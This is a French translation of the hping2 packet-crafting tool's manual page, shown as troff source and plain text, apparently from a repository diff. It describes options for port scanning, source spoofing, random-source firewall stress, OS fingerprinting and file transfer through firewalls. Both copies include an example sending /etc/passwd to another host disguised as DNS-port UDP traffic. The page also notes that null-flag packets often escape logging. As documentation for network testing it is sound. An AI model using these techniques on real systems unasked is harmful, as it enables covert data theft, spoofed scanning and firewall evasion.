Alias pour --icmptype 17 (pour envoyer des requêtes ICMP masque réseau).
.SH OPTIONS TCP/UDP
.TP
.I -s --baseport source port
hping2 utilise le port source afin de deviner les numéros de séquence des
réponses. Il commence avec un numéro de port source de base, et incrémente
ce numéro pour chaque paquet envoyé. Quand un paquet est reçu alors le
numéro de séquence peut être calculé comme
.IR "port.source.réponse - port.source.de.base" .
Le port source de base par défaut est aléatoire, en utilisant cette option
vous êtes capable de fixer un numéro différent. Si vous avez besoin que le
port source ne soit pas incrémenté pour chaque paquet envoyé utilisez
l'option
.IR "-k --keep" .
.TP
.I -p --destport [+][+]dest port
Fixe le port destination, le défaut est 0. Si le caractère '+' précède le
numéro de port destination (i.e. +1024) le port destination sera incrémenté
pour chaque paquet reçu. Si deux '+' précèdent le numéro de port destination
(i.e. ++1024), le port destination sera incrémenté pour chaque paquet
envoyé.
Par défaut le port destination peut être modifié interactivement en
utilisant
.B CTRL+z.
.TP
.I --keep
Garde constant le port source, voir
.I --baseport
pour plus d'informations.
.TP
.I -w --win
Fixe la taille de la fenêtre TCP. Le défaut est 64.
.TP
.I -O --tcpoff
Fixe un faux offset (ndt : décalage) des données TCP. L'offset normal des
données est tcphdrlen / 4.
.TP
.I -M --tcpseq
Fixe le numéro de séquence TCP.
.TP
.I -L --tcpack
Fixe le drapeau TCP ack.
.TP
.I -Q --seqnum
Cette option peut être utilisée afin de collecter les numéros de séquence
générés par le système cible. Ceci peut être utile quand vous avez besoin
d'analyser si les numéros de séquence TCP sont prévisibles. Exemple de
sortie :
.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
.nf
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
2361294848 +2361294848
2411626496 +50331648
2545844224 +134217728
2713616384 +167772160
2881388544 +167772160
3049160704 +167772160
3216932864 +167772160
3384705024 +167772160
3552477184 +167772160
3720249344 +167772160
3888021504 +167772160
4055793664 +167772160
4223565824 +167772160
.fi
La première colonne reporte les numéros de séquence, la seconde la
différence entre le numéro de séquence courant et le dernier. Comme vous
pouvez le voir les numéros de séquence du système cible sont prévisibles.
.TP
.I -b --badcksum
Envoie des paquets avec une mauvaise somme de contrôle UDP/TCP
.TP
.I --tcp-timestamp
Active l'option TCP timestamp, et essaye de deviner la fréquence de mise à
jour du timestamp et l'uptime du système distant.
.TP
.I -F --fin
Fixe le drapeau TCP FIN.
.TP
.I -S --syn
Fixe le drapeau TCP SYN.
.TP
.I -R --rst
Fixe le drapeau TCP RST.
.TP
.I -P --push
Fixe le drapeau TCP PUSH.
.TP
.I -A --ack
Fixe le drapeau TCP ACK.
.TP
.I -U --urg
Fixe le drapeau TCP URG.
.TP
.I -X --xmas
Fixe le drapeau TCP Xmas.
.TP
.I -Y --ymas
Fixe le drapeau TCP Ymas.
.SH OPTIONS COMMUNES
.TP
.I -d --data data size
Fixe la taille du corps du paquet. Attention, en utilisant --data 40 hping2
ne générera pas des paquets de 0 octet mais de entête_de_protocole+40
octets. hping2 affichera en information la taille des paquets comme première
ligne de sortie, comme ceci :
.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes
.TP
.I -E --file filename
Utilise le contenu du fichier
.B filename
pour remplir les données du paquet.
.TP
.I -e --sign signature
Remplit d'abord
.I longueur de signature
octets de données avec
.IR signature .
Si
.I longueur de signature
est plus grand que la taille des données alors un message d'erreur sera
affiché.
Si vous ne spécifiez pas la taille des données hping utilisera la taille de
la signature comme taille des données.
Cette option peut être utilisée sans risque avec l'option
.IR "--file filename" ,
l'espace de données restant sera rempli en utilisant le fichier
.IR filename .
.TP
.I -j --dump
Affiche les paquets en hexadécimal.
.TP
.I -J --print
Affiche les caractères imprimables des paquets reçus.
.TP
.I -B --safe
Active le protocole safe, en utilisant cette option les paquets perdus dans
un transfert de fichier seront renvoyés. Par exemple afin d'envoyer le
fichier /etc/passwd depuis le système A au système B vous pouvez utiliser ce
qui suit :
.nf
.I [host_a]
.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
.I [host_b]
.B # hping2 host_a --listen signature --safe --icmp
.fi
.TP
.I -u --end
Si vous utilisez l'option
.IR "--file filename" ,
cela vous dit quand la fin du fichier a été atteinte. D'ailleurs cela
prévient que l'autre côté accepte plus de paquets. S'il vous plaît, pour
plus d'informations voir le fichier
.BR HPING2-HOWTO .
.TP
.I -T --traceroute
Mode traceroute. En utilisant cette option hping2 incrémentera le ttl pour
chaque paquet
.B ICMP time to live 0 during transit
reçu. Essayez
.BR "hping2 host --traceroute" .
Cette option implique --bind et --ttl 1. Vous pouvez l'emporter sur le ttl à
1 en utilisant l'option --ttl. Depuis 2.0.0 stable il affiche les
informations de RTT.
.I --tr-keep-ttl
garde le ttl fixe en mode traceroute, ainsi vous pouvez contrôler simplement
un noeud sur la route. Par exemple, pour contrôler comment le 5ème noeud
change ou comment son RTT change vous pouvez essayer
.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" .
.TP
.I --tr-stop
Si cette option est spécifiée hping quittera dès que le premier paquet qui
n'est pas un ICMP time exceeded est reçu. Ceci émule mieux le comportement
de traceroute.
.TP
.I --tr-no-rtt
Ne montre pas l'information RTT en mode traceroute. L'information du RTT des
ICMP time exceeded n'est même pas calculée si cette option est positionnée.
.TP
.I --tcpexitcode
Quitte avec le champ tcp->th_flag du dernier paquet reçu comme code de
retour. Utile pour les scripts qui ont besoin, par exemple, de savoir si le
port 999 de quelque système répond avec SYN/ACK ou avec RST en réponse à un
SYN, i.e. le service est lancé ou arrêté.
.SH FORMAT DE SORTIE TCP
Le format standard de sortie TCP est le suivant :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
.B len
est la taille, en octets, des données capturées dans la couche liaison de
données en excluant la taille de l'entête de liaison de données. Ceci peut
ne pas correspondre à la taille du datagramme IP à cause du rembourrage bas
niveau de la couche liaison de données.
.B ip
est l'adresse ip source.
.B flags
sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P
pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non
standard.
Si la réponse contient
.B DF
l'entête IP possède le bit don't fragment (ndt : ne pas fragmenter)
positionné.
.B seq
est le numéro de séquence du paquet, obtenu en utilisant le port source pour
les paquets TCP/UDP, le champ séquence pour les paquets ICMP.
.B id
est le champ IP ID.
.B win
est la taille de la fenêtre TCP
.B rtt
est le "round trip time" (ndt : temps aller-retour) en millisecondes.
Si vous exécutez hping en utilisant l'option
.B -V
de la ligne de commande il affichera des informations supplémentaires à
propos du paquet, par exemple :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0
.B tos
est le champ type de service de l'entête IP.
.B iplen
est le champ IP longueur totale.
.B seq et ack
sont les numéros de séquence et d'acquittement sur 32 bits dans l'entête
TCP.
.B sum
est la valeur de la somme de contrôle de l'entête TCP.
.B urp
est la valeur du pointeur urgent TCP.
.SH FORMAT DE SORTIE UDP
Le format standard de sortie est :
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
La signification des champs est la même que celle de la sortie TCP pour les
champs de même nom.
.SH FORMAT DE SORTIE ICMP
Un exemple de sortie ICMP est :
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
Il est très facile à comprendre. Il commence avec la chaîne "ICMP" suivie
par la description de l'erreur ICMP, dans l'exemple Port Unreachable (ndt :
port non accessible). Le champ ip est l'adresse IP source du datagramme IP
contenant l'erreur ICMP, le champ name est simplement l'adresse numérique
résolue en un nom (une requête dns PTR) ou UNKNOWN si la résolution a
échoué.
Le format ICMP de Time exceeded during ou de reassembly est un peu
différent :
TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
La seule différence est la description de l'erreur, elle commence avec TTL
0.
.SH AUTEUR
Salvatore Sanfilippo <antirez@invece.org>, avec l'aide des personnes
mentionnées dans le fichier AUTHORS et sur http://www.hping.org/authors.html
.SH BOGUES
Même en utilisant les options --end et --safe pour transférer des fichiers,
le paquet final sera rembourré avec des octets 0x00.
.PP
Les données sont lues sans tenir compte de l'alignement, mais l'alignement
est imposé dans les structures de données.
Ceci ne sera pas un problème sous i386 mais, alors que normalement les
entêtes TCP/IP sont naturellement alignées, cela peut créer des problèmes
avec divers processeurs et des paquets mal-formés si il y a des accès non
alignés quelque part dans le code (aucun avec un peu de chance).
.PP
Sur Solaris hping ne fonctionne pas sur l'interface loopback. Ceci semble
être un problème solaris, comme exposé dans la liste de diffusion
tcpdump-workers, ainsi la libpcap ne peut rien faire pour la supporter
correctement.
.SH VOIR AUSSI
ping(8), traceroute(8), ifconfig(8), nmap(1)
.SH TRADUCTEUR
Denis Ducamp <Denis.Ducamp@groar.org>

694
docs/french/hping2-fr.8.txt Normal file
View File

@ -0,0 +1,694 @@
HPING2(8) HPING2(8)
NOM
hping2 - envoie des paquets TCP/IP (presque) arbitraires à
des systèmes réseaux
RESUME
hping2 [ -hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ -c count ]
[ -i wait ] [ --fast ] [ -I interface ] [ -9 signature ] [
-a host ] [ -t ttl ] [ -N ip id ] [ -H ip protocol ] [ -g
fragoff ] [ -m mtu ] [ -o tos ] [ -C icmp type ] [ -K icmp
code ] [ -s source port ] [ -p[+][+] dest port ] [ -w tcp
window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L
tcp ack ] [ -d data size ] [ -E filename ] [ -e signature
] [ --icmp-ipver version ] [ --icmp-iphlen length ] [
--icmp-iplen length ] [ --icmp-ipid id ] [ --icmp-ipproto
protocol ] [ --icmp-cksum checksum ] [ --icmp-ts ] [
--icmp-addr ] [ --tcpexitcode ] [ --tcp-timestamp ] [
--tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand-
dest ] [ --rand-source ] hostname
DESCRIPTION
hping2 est un outil réseau capable d'envoyer des paquets
TCP/IP sur commande et d'afficher les réponses de la cible
comme le programme ping le fait avec les réponses ICMP.
hping2 traite la fragmentation, les contenus de paquets et
les tailles arbitraires, et peut être utilisé dans le but
de transférer des fichiers encapsulés dans les protocoles
supportés. En utilisant hping2 vous êtes capable
d'effectuer au moins les tâches suivantes :
- Tester les règles d'un firewall
- Scanner des ports de façon avancée
- Tester les performances réseau en utilisant différents
protocoles, tailles de paquets, TOS (type de service) et
fragmentation.
- Découverte de "Path MTU"
- Transférer des fichiers même au travers de règles de
firewall vraiment fascistes.
- Comme traceroute avec différents protocoles.
- Utilisation comme Firewalk.
- Détermination d'OS à distance.
- Audit de pile TCP/IP.
- Beaucoup d'autres.
C'est également un bon outil didactique pour apprendre
TCP/IP. hping2 est développé et maintenu par
antirez@invece.org et est sous la version 2 de la licence
GPL. Le développement est ouvert donc vous pouvez
m'envoyer des patches, suggestions et affronts sans inhi­
bition.
SITE DE HPING
site primaire sur http://www.hping.org. Vous pouvez trou­
ver à la fois la version stable et les instructions pour
télécharger le dernier code source sur
http://www.hping.org/download.html
OPTIONS DE BASE
-h --help
Montre l'écran d'aide sur la sortie standard, donc
vous pouvez rediriger vers less.
-v --version
Montre l'information de version et l'API utilisée
pour accéder au niveau données (data link layer),
linux sock packet ou libpcap.
-c --count count
Arrête après avoir envoyé (et reçu) count paquets
réponse. Après que le dernier paquet a été envoyé
hping2 attend COUNTREACHED_TIMEOUT secondes les
réponses du système cible. Vous avez la possibilité
de régler COUNTREACHED_TIMEOUT en éditant hping2.h
-i --interval
Attend le nombre spécifié de secondes ou de micro
secondes entre l'envoie de chaque paquet. --inter­
val X fixe wait à X secondes, --interval uX fixe
wait à X micro secondes. Le défaut est d'attendre
une seconde entre chaque paquet. En utilisant
hping2 pour transférer des fichiers fixer cette
option est très important pour augmenter le taux de
transfert. Même en utilisant hping2 pour effectuer
des scans passifs/avec usurpation d'adresse vous
devriez fixer cette option, voir HPING2-HOWTO pour
plus d'informations.
--fast Alias pour -i u10000. Hping enverra 10 paquets par
seconde.
--faster
Alias pour -i u1. Plus rapide que --fast ;) (mais
pas aussi rapide que votre ordinateur peut envoyer
des paquets à cause de la conception basée sur les
signaux).
-n --numeric
Sortie numérique seulement, aucune tentative ne
sera faite pour chercher les noms symboliques pour
les adresses système.
-q --quiet
Sortie silencieuse. Rien n'est affiche excepté les
lignes de résume au moment du démarrage et quand
c'est fini.
-I --interface interface name
Par défaut sur les systèmes linux et BSD hping2
utilise l'interface de routage par défaut. Sur
d'autres systèmes ou quand il n'y a pas d'interface
de routage par défaut hping2 utilise la première
interface non loopback. Quoi qu'il en soit vous
avez la possibilité de forcer hping2 à utiliser
l'interface dont vous avez besoin en utilisant
cette option. Note : vous n'avez pas besoin de
spécifier le nom complet, par exemple -I et va cor­
respondre à eth0 ethernet0 myet1 et cetera. Si
aucune interface ne correspond hping2 essayera
d'utiliser lo.
-V --verbose
Active la sortie verbeuse. Les réponses TCP seront
affichées comme suit :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255
id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0
ack=1380893504 sum=2010 urp=0
-D --debug
Active le mode de débogage, c'est utile quand vous
rencontrez quelques problèmes avec hping2. Quand le
mode de débogage est activé vous obtiendrez plus
d'informations à propos de la détection des inter­
faces, de l'accès au niveau données, du réglage des
interfaces, des options d'analyse, de la fragmenta­
tion, du protocole HCMP et d'autres choses.
-z --bind
Lie CTRL+Z au time to live (TTL) ainsi vous serez
capable d'incrémenter/décrémenter le ttl des
paquets sortant en pressant CTRL+Z une ou deux
fois.
-Z --unbind
Dé-lie CTRL+Z ainsi vous serez capable d'arrêter
hping2
SELECTION DE PROTOCOLE
Le protocole par défaut est TCP, par défaut hping2 enverra
des entêtes TCP sur le port 0 du système cible avec une
winsize (ndt : taille de fenêtre) de 64 sans aucun drapeau
TCP activé. Souvent c'est la meilleure manière de faire un
'ping caché', utile quand la cible est derrière un fire­
wall qui jette ICMP. De plus un paquet TCP null-flag (ndt
: sans drapeau) vers le port 0 a de bonnes probabilités de
ne pas être journalisé.
-0 --rawip
Mode RAW IP, dans ce mode hping2 enverra une entête
IP avec les données ajoutées avec --signature et/ou
--file, voir également --ipproto qui vous autorise
à fixer le champ protocole IP.
-1 --icmp
Mode ICMP, par défaut hping2 enverra un paquet ICMP
echo-request, vous pouvez fixer un autre type/code
ICMP en utilisant les options --icmptype --icmpcode
-2 --udp
Mode UDP, par défaut hping2 enverra des paquets UDP
vers le port 0 du système cible. Les options
réglables des entêtes UDP sont les suivantes :
--baseport, --destport, --keep.
-8 --scan
Mode scan, l'option attend un argument qui décrit
des groupes de ports à scanner. Les groupes de
ports sont séparés par des virgules : un nombre
décrit seulement un port unique, donc 1,2,3 signi­
fie ports 1, 2 et 3. Les intervalles sont spécifiés
en utilisant une notation début-fin, comme 1-1000,
qui dit à hping de scanner les ports entre 1 et
1000 (inclus). Le mot spécial all est un alors pour
0-65535, pendant que le mot spécial known inclut
tous les ports listés dans /etc/services.
Les groupes peuvent être combinés, donc la commande
suivante scannera les ports entre 1 et 1000 ET le
port 8888 ET les ports listés dans /etc/services:
hping --scan 1-1000,8888,known -S target.host.com
Les groupes peuvent être niés (soustraits) en util­
isant un caractère ! comme préfix, donc la ligne de
commande suivante scannera tous les ports NON
listés dans /etc/services dans l'intervalle 1-1024
: hping --scan '1-1024,!known' -S target.host.com
Gardez à l'esprit que pendant que hping apparaît
beaucoup plus comme un scanneur de ports dans ce
mode, la plupart des options sont toujours
honorées, donc pour effectuer par exemple un scan
SYN vous avez besoin de spécifier l'option -S, vous
pouvez changer la taille de la fenêtre TCP, le TTL,
contrôler la fragmentation IP comme habituellement,
et ainsi de suite. La seule différence réelle est
que le comportement standard de hping est encapsulé
dans un algorithme de scan.
Note technique : Le mode scan utilise une concep­
tion basée sur deux processus, avec de la mémoire
partagée pour la synchronisation. L'algorithlme de
scan n'est toujours pas optimal, mais déjà assez
rapide.
Conseil : à la différence de la plupart des scan­
neurs, hping montre quelques informations
intéressantes à propos des paquets reçus, les
champs IP ID, TCP win, TTL, et ainsi de suite,
n'oubliez pas de regarder ces informations addi­
tionnelles quand vous effectuez un scan! Quelques
fois elles montrent des détails intéressants.
-9 --listen signature
Mode d'écoute de HPING2, en utilisant cette option
hping2 attend les paquets qui contiennent signature
et exporte de la fin de la signature à la fin du
paquet. Par exemple si hping2 --listen TEST lit un
paquet qui contient 234-09sdflkjs45-TESThello_world
il affichera hello_world.
OPTIONS IP
-a --spoof hostname
Utiliser cette option dans le but de fixer une
fausse adresse source, cette option assure que le
système cible n'obtiendra pas votre adresse réelle.
Quoi qu'il en soit les réponses seront envoyées à
l'adresse usurpée, ainsi vous ne serez pas capable
de les voir. Afin de voir comment il est possible
d'effectuer des scans avec des adresses
usurpées/passifs voir le fichier HPING2-HOWTO.
--rand-source
Cette option active le mode source aléatoire.
hping enverra des paquets avec des adresses sources
aléatoires. Il est intéressant d'utiliser cette
option pour stresser les tables d'étât d'un fire­
wall, et d'autres tables dynamiques basées sur les
IP dans les piles TCP/IP et les firewall logiciels.
--rand-dest
Cette option active le mode destination aléatoire.
hping enverra des paquets à des adresses aléatoires
obtenues en suivant la règle que vous avez
spécifiée comme système cible. Vous avez besoin de
spécifier une adresse IP numérique en tant que
système cible comme 10.0.0.x. Toutes les occur­
rences de x seront remplacées avec un nombre
aléatoire dans l'intervalle 0-255. Ainsi pour
obtenir des adresses IP internet dans l'espace IPv4
complet utilisez quelque chose comme hping x.x.x.x
--rand-dest. Si vous n'êtes pas sûrs du genre
d'adresses que votre règle génère essayez
d'utiliser l'option --debug pour afficher chaque
nouvelle adresse destination générée.
Attention : quand cette option est activée hping ne
peut pas détecter la bonne interface de sortie pour
les paquets, ainsi vous devez utiliser l'option
--interface pour sélectionner l'interface de sor­
tie.
-t --ttl time to live
En utilisant cette option vous pouvez fixer le TTL
(time to live) des paquets sortant, il est vraisem­
blable que vous utiliserez ceci avec les options
--traceroute ou --bind Dans le doute essayez
`hping2 some.host.com -t 1 --traceroute'.
-N --id
Fixe le champ ip->id . La valeur du champ id par
défaut est aléatoire mais si la fragmentation est
activée et que le champ id n'est pas spécifié alors
il sera égal à getpid() & 0xFF, mettre en oeuvre
une meilleure solution est dans la liste TODO (ndt
: à faire).
-H --ipproto
Fixe le protocole IP dans le mode RAW IP.
-W --winid
Le champ id des systèmes Windows* avant Win2k ont
un byte ordering (ndt : ordre des octets)
différent, si cette option est activée hping2
affichera proprement les champs id des réponses de
ces Windows.
-r --rel
Affiche les incréments du champ id au lieu du champ
id. Voir le fichier HPING2-HOWTO pour plus d'infor­
mations. Les incréments ne sont pas calculés comme
id[N]-id[N-1] mais en utilisant une compensation de
pertes de paquets. Voir le fichier relid.c pour
plus d'informations.
-f --frag
Découpe les paquets en fragments, ceci peut être
utile afin de tester les performances de la frag­
mentation des piles IP et de tester si certains
filtres de paquets sont si faibles qu'ils peuvent
être passés en utilisant de petits fragments
(anachronique). Par défaut le 'mtu virtuel' (ndt :
taille des fragments) est de 16 octets. Voir égale­
ment l'option --mtu.
-x --morefrag
Fixe le drapeau IP "more fragments" (ndt : d'autres
fragments), utilisez cette option si vous voulez
que le système cible envoie un paquet ICMP time-
exceeded during reassembly (ndt : délai dépassé
durant le ré-assemblage).
-y --dontfrag
Fixe le drapeau IP "don't fragment" (ndt : ne pas
fragmenter), ceci peut être utilisé pour effectuer
un MTU path discovery (ndt : découverte de la
valeur minimale de la "taille maximale des paquets"
sur le chemin).
-g --fragoff fragment offset value
Fixe l'offset du fragment.
-m --mtu mtu value
Fixe un 'mtu virtuel' différent de 16 quand la
fragmentation est activée. Si la taille des paquets
est supérieure au 'mtu virtuel' alors la fragmenta­
tion est automatiquement activée.
-o --tos hex_tos
Fixe Type Of Service (TOS) (ndt : le type de ser­
vice), pour plus d'informations essayez --tos help.
-G --rroute
Enregistrer la route. Inclut l'option RECORD_ROUTE
dans chaque paquet envoyé et affiche la route
présente dans le tampon du paquet retourné. Notez
que l'entête IP n'est suffisamment large que pour
neuf routes. Beaucoup de systèmes ignorent ou sup­
priment cette option. Notez également qu'en util­
isant hping vous êtes capable d'utiliser l'enreg­
istrement de la route même si le système cible fil­
tre ICMP. Enregistrer la route est une option IP,
non pas une option ICMP, ainsi vous pouvez utiliser
l'option d'enregistrement de la route même dans les
modes TCP et UDP.
OPTIONS ICMP
-C --icmptype type
Fixe le type ICMP, le défaut est ICMP echo request.
-K --icmpcode code
Fixe le code ICMP, le défaut est 0 (implique
--icmp).
--icmp-ipver
Fixe la version IP de l'entête IP contenue dans les
données ICMP, le défaut est 4.
--icmp-iphlen
Fixe la longueur de l'entête IP contenue dans les
données ICMP, le défaut est 5 (5 mots de 32 bits).
--icmp-iplen
Fixe la longueur du paquet IP de l'entête IP con­
tenue dans les données ICMP, le défaut est la
taille réelle.
--icmp-ipid
Fixe le champ IP id de l'entête IP contenue dans
les données ICMP, le défaut est aléatoire.
--icmp-ipproto
Fixe le protocole IP de l'entête IP contenue dans
les données ICMP, le défaut est TCP.
--icmp-cksum
Fixe la somme de contrôle ICMP, le défaut est la
somme de contrôle valide.
--icmp-ts
Alias pour --icmptype 13 (pour envoyer des requêtes
ICMP timestamp).
--icmp-addr
Alias pour --icmptype 17 (pour envoyer des requêtes
ICMP masque réseau).
OPTIONS TCP/UDP
-s --baseport source port
hping2 utilise le port source afin de deviner les
numéros de séquence des réponses. Il commence avec
un numéro de port source de base, et incrémente ce
numéro pour chaque paquet envoyé. Quand un paquet
est reçu alors le numéro de séquence peut être cal­
culé comme port.source.réponse -
port.source.de.base. Le port source de base par
défaut est aléatoire, en utilisant cette option
vous êtes capable de fixer un numéro différent. Si
vous avez besoin que le port source ne soit pas
incrémenté pour chaque paquet envoyé utilisez
l'option -k --keep.
-p --destport [+][+]dest port
Fixe le port destination, le défaut est 0. Si le
caractère '+' précède le numéro de port destination
(i.e. +1024) le port destination sera incrémenté
pour chaque paquet reçu. Si deux '+' précèdent le
numéro de port destination (i.e. ++1024), le port
destination sera incrémenté pour chaque paquet
envoyé. Par défaut le port destination peut être
modifié interactivement en utilisant CTRL+z.
--keep Garde constant le port source, voir --baseport pour
plus d'informations.
-w --win
Fixe la taille de la fenêtre TCP. Le défaut est 64.
-O --tcpoff
Fixe un faux offset (ndt : décalage) des données
TCP. L'offset normal des données est tcphdrlen / 4.
-M --tcpseq
Fixe le numéro de séquence TCP.
-L --tcpack
Fixe le drapeau TCP ack.
-Q --seqnum
Cette option peut être utilisée afin de collecter
les numéros de séquence générés par le système
cible. Ceci peut être utile quand vous avez besoin
d'analyser si les numéros de séquence TCP sont
prévisibles. Exemple de sortie :
#hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
2361294848 +2361294848
2411626496 +50331648
2545844224 +134217728
2713616384 +167772160
2881388544 +167772160
3049160704 +167772160
3216932864 +167772160
3384705024 +167772160
3552477184 +167772160
3720249344 +167772160
3888021504 +167772160
4055793664 +167772160
4223565824 +167772160
La première colonne reporte les numéros de
séquence, la seconde la différence entre le numéro
de séquence courant et le dernier. Comme vous pou­
vez le voir les numéros de séquence du système
cible sont prévisibles.
-b --badcksum
Envoie des paquets avec une mauvaise somme de
contrôle UDP/TCP
--tcp-timestamp
Active l'option TCP timestamp, et essaye de deviner
la fréquence de mise à jour du timestamp et
l'uptime du système distant.
-F --fin
Fixe le drapeau TCP FIN.
-S --syn
Fixe le drapeau TCP SYN.
-R --rst
Fixe le drapeau TCP RST.
-P --push
Fixe le drapeau TCP PUSH.
-A --ack
Fixe le drapeau TCP ACK.
-U --urg
Fixe le drapeau TCP URG.
-X --xmas
Fixe le drapeau TCP Xmas.
-Y --ymas
Fixe le drapeau TCP Ymas.
OPTIONS COMMUNES
-d --data data size
Fixe la taille du corps du paquet. Attention, en
utilisant --data 40 hping2 ne générera pas des
paquets de 0 octet mais de entête_de_protocole+40
octets. hping2 affichera en information la taille
des paquets comme première ligne de sortie, comme
ceci : HPING www.yahoo.com (ppp0 204.71.200.67): NO
FLAGS are set, 40 headers + 40 data bytes
-E --file filename
Utilise le contenu du fichier filename pour rem­
plir les données du paquet.
-e --sign signature
Remplit d'abord longueur de signature octets de
données avec signature. Si longueur de signature
est plus grand que la taille des données alors un
message d'erreur sera affiché. Si vous ne
spécifiez pas la taille des données hping utilisera
la taille de la signature comme taille des données.
Cette option peut être utilisée sans risque avec
l'option --file filename, l'espace de données
restant sera rempli en utilisant le fichier file­
name.
-j --dump
Affiche les paquets en hexadécimal.
-J --print
Affiche les caractères imprimables des paquets
reçus.
-B --safe
Active le protocole safe, en utilisant cette option
les paquets perdus dans un transfert de fichier
seront renvoyés. Par exemple afin d'envoyer le
fichier /etc/passwd depuis le système A au système
B vous pouvez utiliser ce qui suit :
[host_a]
# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
[host_b]
# hping2 host_a --listen signature --safe --icmp
-u --end
Si vous utilisez l'option --file filename, cela
vous dit quand la fin du fichier a été atteinte.
D'ailleurs cela prévient que l'autre côté accepte
plus de paquets. S'il vous plaît, pour plus
d'informations voir le fichier HPING2-HOWTO.
-T --traceroute
Mode traceroute. En utilisant cette option hping2
incrémentera le ttl pour chaque paquet ICMP time to
live 0 during transit reçu. Essayez hping2 host
--traceroute. Cette option implique --bind et
--ttl 1. Vous pouvez l'emporter sur le ttl à 1 en
utilisant l'option --ttl. Depuis 2.0.0 stable il
affiche les informations de RTT. --tr-keep-ttl
garde le ttl fixe en mode traceroute, ainsi vous
pouvez contrôler simplement un noeud sur la route.
Par exemple, pour contrôler comment le 5ème noeud
change ou comment son RTT change vous pouvez
essayer hping2 host --traceroute --ttl 5 --tr-keep-
ttl.
--tr-stop
Si cette option est spécifiée hping quittera dès
que le premier paquet qui n'est pas un ICMP time
exceeded est reçu. Ceci émule mieux le comportement
de traceroute.
--tr-no-rtt
Ne montre pas l'information RTT en mode traceroute.
L'information du RTT des ICMP time exceeded n'est
même pas calculée si cette option est positionnée.
--tcpexitcode
Quitte avec le champ tcp->th_flag du dernier paquet
reçu comme code de retour. Utile pour les scripts
qui ont besoin, par exemple, de savoir si le port
999 de quelque système répond avec SYN/ACK ou avec
RST en réponse à un SYN, i.e. le service est lancé
ou arrêté.
FORMAT DE SORTIE TCP
Le format standard de sortie TCP est le suivant :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0
rtt=0.4 ms
len est la taille, en octets, des données capturées dans
la couche liaison de données en excluant la taille de
l'entête de liaison de données. Ceci peut ne pas corre­
spondre à la taille du datagramme IP à cause du rembour­
rage bas niveau de la couche liaison de données.
ip est l'adresse ip source.
flags sont les drapeaux TCP, R pour RESET, S pour SYN, A
pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour
0x40 non standard, Y pour 0x80 non standard.
Si la réponse contient DF l'entête IP possède le bit don't
fragment (ndt : ne pas fragmenter) positionné.
seq est le numéro de séquence du paquet, obtenu en util­
isant le port source pour les paquets TCP/UDP, le champ
séquence pour les paquets ICMP.
id est le champ IP ID.
win est la taille de la fenêtre TCP
rtt est le "round trip time" (ndt : temps aller-retour) en
millisecondes.
Si vous exécutez hping en utilisant l'option -V de la
ligne de commande il affichera des informations supplémen­
taires à propos du paquet, par exemple :
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0
rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d
urp=0
tos est le champ type de service de l'entête IP.
iplen est le champ IP longueur totale.
seq et ack sont les numéros de séquence et d'acquittement
sur 32 bits dans l'entête TCP.
sum est la valeur de la somme de contrôle de l'entête TCP.
urp est la valeur du pointeur urgent TCP.
FORMAT DE SORTIE UDP
Le format standard de sortie est :
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
La signification des champs est la même que celle de la
sortie TCP pour les champs de même nom.
FORMAT DE SORTIE ICMP
Un exemple de sortie ICMP est :
ICMP Port Unreachable from ip=192.168.1.1 name=nano.mar­
moc.net
Il est très facile à comprendre. Il commence avec la
chaîne "ICMP" suivie par la description de l'erreur ICMP,
dans l'exemple Port Unreachable (ndt : port non accessi­
ble). Le champ ip est l'adresse IP source du datagramme IP
contenant l'erreur ICMP, le champ name est simplement
l'adresse numérique résolue en un nom (une requête dns
PTR) ou UNKNOWN si la résolution a échoué.
Le format ICMP de Time exceeded during ou de reassembly
est un peu différent :
TTL 0 during transit from ip=192.168.1.1 name=nano.mar­
moc.net
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
La seule différence est la description de l'erreur, elle
commence avec TTL 0.
AUTEUR
Salvatore Sanfilippo <antirez@invece.org>, avec l'aide des
personnes mentionnées dans le fichier AUTHORS et sur
http://www.hping.org/authors.html
BOGUES
Même en utilisant les options --end et --safe pour
transférer des fichiers, le paquet final sera rembourré
avec des octets 0x00.
Les données sont lues sans tenir compte de l'alignement,
mais l'alignement est imposé dans les structures de
données. Ceci ne sera pas un problème sous i386 mais,
alors que normalement les entêtes TCP/IP sont naturelle­
ment alignées, cela peut créer des problèmes avec divers
processeurs et des paquets mal-formés si il y a des accès
non alignés quelque part dans le code (aucun avec un peu
de chance).
Sur Solaris hping ne fonctionne pas sur l'interface loop­
back. Ceci semble être un problème solaris, comme exposé
dans la liste de diffusion tcpdump-workers, ainsi la libp­
cap ne peut rien faire pour la supporter correctement.
VOIR AUSSI
ping(8), traceroute(8), ifconfig(8), nmap(1)
TRADUCTEUR
Denis Ducamp <Denis.Ducamp@groar.org>
